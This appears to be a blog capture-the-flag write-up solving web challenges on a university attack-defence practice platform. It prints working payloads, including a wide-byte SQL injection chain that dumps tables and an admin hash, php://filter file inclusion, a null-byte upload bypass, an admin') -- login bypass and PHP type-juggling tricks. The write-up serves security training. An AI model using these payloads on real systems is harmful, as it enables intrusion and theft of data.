南邮mysql_南京邮电大学网络攻防平台WEB题

本文详细介绍了南京邮电大学网络攻防平台上的多个WEB挑战,涉及MD5碰撞、源代码查看、JavaScript解密、PHP编码解码、SQL注入等多种技术,通过实际操作演示了解决每个挑战的方法,帮助读者提升网络安全技能。
摘要由CSDN通过智能技术生成

平台地址:http://ctf.nuptsast.com/

签到题:

f710c634a7b3cb427669c465f1276ace.png

右键查看源代码,得到flag

2fb2940ebbeeb524687cca7dcca96f20.png

md5 collision:

4788638b4fc5eb24f74728d3f3c6189a.png

传入的a的md5值要为0e开头的,但不能是QNKCDZO,百度一个0e开头的md5

d6e38f37b952a6e458fc10543ea67521.png

得到flag

签到2:

c69e332db405c945511f648ae6172ae1.png

右键查看源代码

4dd089eef0a796555982f67dce39ddc8.png

输入框允许的最大长度为10,口令的长度为11

使用hackbar post一下

d573a690e2236559193901ca53840f84.png

得到flag

c796b274020ccd2f1d3ed9bc6bcf2ce7.png

这题不是WEB:

89ae9ec825f86819cb48abd7cb5a1650.png

下载图片,用记事本打开

92208fd188888a4e6f95955944267db5.png

拉到最后,得到flag

层层递进:

df182f8e38e923911b09142aeefdbe77.png

是一个网站页面,先扫一下

34bd3f4447120ccaa20c758396d71dac.png

有个404.html

c26706280bdca6349fc43c47e0ff4b59.png

查看一下源代码,得到flag

421c2a99fe8101093cd7b5f76a7de469.png

AAencode:

c195073c18b041f7c626c56d5c3463b5.png

这题为javascript aaencode解密题,直接解密,得到flag,工具地址:https://tool.zcmzcm.org/aadecode

fb7c425fb54f6080e028c40c3e405cc9.png

单身二十年:

c3ef1f88661f0934cecf1cad7ca68414.png

右键查看源代码

c570d6b9291b782d8fb549c3c6cc2fc0.png

点击进入,得到flag

ee6a2cc0ebdf2e18f689b0539650e058.png

php decode:

function CLsI($ZzvSWE) {

$ZzvSWE = gzinflate(base64_decode($ZzvSWE));

for ($i = 0; $i < strlen($ZzvSWE); $i++) {

$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);

}

return $ZzvSWE;

}eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?>

把eval改为echo,在本地用phpstudy测试一下

ad217bd131d1c5d522ee461958d5bfdd.png

得到flag

80183f9e533ab0e9aefe9bb0dabb184c.png

文件包含:

8574e1576fff3858d507e2c99ad8a7ac.png

点进去

5461335eb9b872c8e6316bb5afa97edb.png

用php://filter/读取index.php

构建url:http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

31557737737eda52a89f33d4d131b9fd.png

为base64加密,解密一下得到flag

28fa5997f51a0875044341da4924c4ae.png

单身一百年也没用:

e2b6b0d6b285e64de20ccc55e4e5ef98.png

开启firebug,在“网络”里查看包,点击链接,查看包,得到flag

f5ddf5a564b5e9afab98d2a28016fc69.png

Download~!:

13a7ae117c8f190d859b474e6f03b58e.png

这类又两个下载链接,复制一下一个地址,http://way.nuptzj.cn/web6/download.php?url=eGluZ3hpbmdkaWFuZGVuZy5tcDM=,后面为base64加密,下载download.php,对download.php进行base64加密后下载

db302bc07eff56497862f70337fea9ef.png

ddb8921ee5b40bae35c96abed886341a.png

下载后打开

d200d7d732ff00160ae4799253020d12.png

发现一个hereiskey.php,下载后打开,得到flag

78da8cd3da0508c3ba2c739d6e3144cb.png

COOKIE:

88f8e53915f40f80eeace081e76c323b.png

在firebug里的cookies处修改一下,把0改成1,然后刷新页面

c185aa41727852c691f4984c3273e496.png

得到flag

f7035dae8f8895ca8337319a0b8cbd87.png

MYSQL:

9fcd5848ea00ab16f9ad58f07c096748.png

直接在后面加个robots.txt

3ec4e13afb5f93ebc26a5012ffe67b43.png

id不等于1024才给输出内容,intval()函数又是获取整数值,直接传入1024.1,得到flag

80a844459a4daf862242e8ec35418841.png

sql injection 3:

df7dc662f5a4d5a823770205bc02cf34.png

加个单引号

755ad481cf0f1674ef6634b97a0030f7.png

单引号被过滤了,看来是宽字节注入,查一下字段

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' order by 1,2,3,4,5 %23

报错

407b6c2f7a42db2682eb6e659524df20.png

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' order by 1,2 %23

没报错

9896153edac4c45b20ed51f1ad544b55.png

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' order by 1,2,3 %23

报错

cfbc826d7ccad79a5cdfe7df4517785a.png

有2个字段

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,2 %23

7c21803adb584c6067bfa80b52b0f51e.png

爆出了个2,查一下数据库

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,database() %23

爆出了一个数据库

ef25a8f265740fd113d389e80f3339dd.png

爆一下表

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23

e2b2bcfcdf9994c6c112e1b7fa3df257.png

爆出了5个表:ctf,ctf2,ctf3,ctf4,news

爆一下ctf的字段

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x637466 %23

得到2个字段

3c587453d09d0796a08c17c699b596f0.png

爆一下内容

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(user,pw) from ctf %23

爆出一个admin和一个md5密文

b3ec5b69b6333bbd1f1c2379e6f4425e.png

解一下密

80b7c5846a4660c5b79a61ad002cea10.png

密文为njupt

试了ctf2和ctf3都没有找到flag

试ctf4的时候看到了一个flag字段

d5f3cd0be231b3391bf45a7cc46190a2.png

爆一下内容

8954e9c3e06b1ebe6d82c67a84721d70.png

得到flag

/x00:

580b9d4ffc609c8cff1e94c2562c015d.png

ereg()函数可以%00截断,当传入的nctf为数组时,它的返回值不是FALSE,直接传入nctf[]得到flag

4f8d39bf14da390aff63f59483746fa6.png

bypass again:

f37978e933820cd8a474ceb6c8692c01.png

传入的a和b的值不相等,但是md5的值相等,可以用数组

5ef9ceb5a793624b0922f1d0f4a1229a.png

得到flag

变量覆盖:

c927ef283cb41c5d5b9556762a1ac221.png

点击,看一下源代码

8b7df5a9492011602b60210fffa2b709.png

extract()函数变量覆盖$pass和$thepassword_123

1175feba68f16912353c4120bed4c6ab.png

得到flag

PHP是世界上最好的语言:

04fc73794c935b606cda8e2068aed496.png

访问一下index.txt

e03614491751d6ee917b9ba69806c293.png

if(eregi("hackerDJ",$_GET[id])) {

echo("

not allowed!

");

exit();

}

$_GET[id] = urldecode($_GET[id]);

if($_GET[id] == "hackerDJ")

{

echo "

Access granted!

";

echo "

flag: *****************}

";

}

?>

Can you authenticate to this website?

eregi()函数判断id传入的值是否为hackerDJ,传入的id的值url解码后要跟hackerDJ相同,对hackerDJ进行两次url编码

http://way.nuptzj.cn/php/index.php?id=%25%36%38%25%36%31%25%36%33%25%36%42%25%36%35%25%37%32%25%34%34%25%34%41

12a569af868742c94950ed2a075ed5a6.png

得到flag

伪装者:

3da900e78a79f2cac607ff89c3c58936.png

这里提示本地登陆

Header:

aea11ce38331d505cd2ea5196ecee73a.png

打开Firebug,刷新一下界面,得到flag

033999d3843e17c8a9e3a60101df4d76.png

上传绕过:

99cbef814a6c81ddf0e73b80bce50890.png

选择一个图片文件上传,用burp抓包

424a98ef9a1e7ee18b34f99149091022.png

在/uploads/后加一个php的后缀名,然后%00截断,发包得到flag

SQL注入1:

32ff11c27fbe302e26919d3fa9dbb982.png

点击Source,查看源代码

if($_POST[user] && $_POST[pass]) {

mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);

mysql_select_db(SAE_MYSQL_DB);

$user = trim($_POST[user]);

$pass = md5(trim($_POST[pass]));

$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";

echo ''.$sql;

$query = mysql_fetch_array(mysql_query($sql));

if($query[user]=="admin") {

echo "

Logged in! flag:********************

";

}

if($query[user] != "admin") {

echo("

You are not admin!

");

}

}

echo $query[user];

?>

用admin')把语句闭合,用--把后面的语句注释掉,如果是admin的话,就能得到flag

构造语句:admin') -- aaa,密码随便填

07f2e5bc635428d60bd2441b3141305b.png

pass check:

514aaa5156fc4dae9317f92da91f31f8.png

代码如下

$pass=@$_POST['pass'];

$pass1=***********;//被隐藏起来的密码

if(isset($pass))

{

if(@!strcmp($pass,$pass1)){

echo "flag:nctf{*}";

}else{

echo "the pass is wrong!";

}

}else{

echo "please input pass!";

}

?>

strcmp()函数对$pass和$pass1进行比较,如果一样的话返回flag,strcmp()比较的结果相同时会返回0,比较数组的时候会返回null,null和0在判断中相等

用hackbar post一个数组

d2d3af6b04efd8280e880f37966768e7.png

得到flag

起名字真难:

a6c0f438cd817ff5d5f084fd9876896d.png

源码如下:

function noother_says_correct($number)

{

$one = ord('1');

$nine = ord('9');

for ($i = 0; $i < strlen($number); $i++)

{

$digit = ord($number{$i});

if ( ($digit >= $one) && ($digit <= $nine) )

{

return false;

}

}

return $number == '54975581388';

}

$flag='*******';

if(noother_says_correct($_GET['key']))

echo $flag;

else

echo 'access denied';

?>

不能传入数字,但是要传入54975581388,才能得到flag,转换为十六进制传入

http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc

55b4f77dfbdc68d2f7fe0c6158da99f6.png

得到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值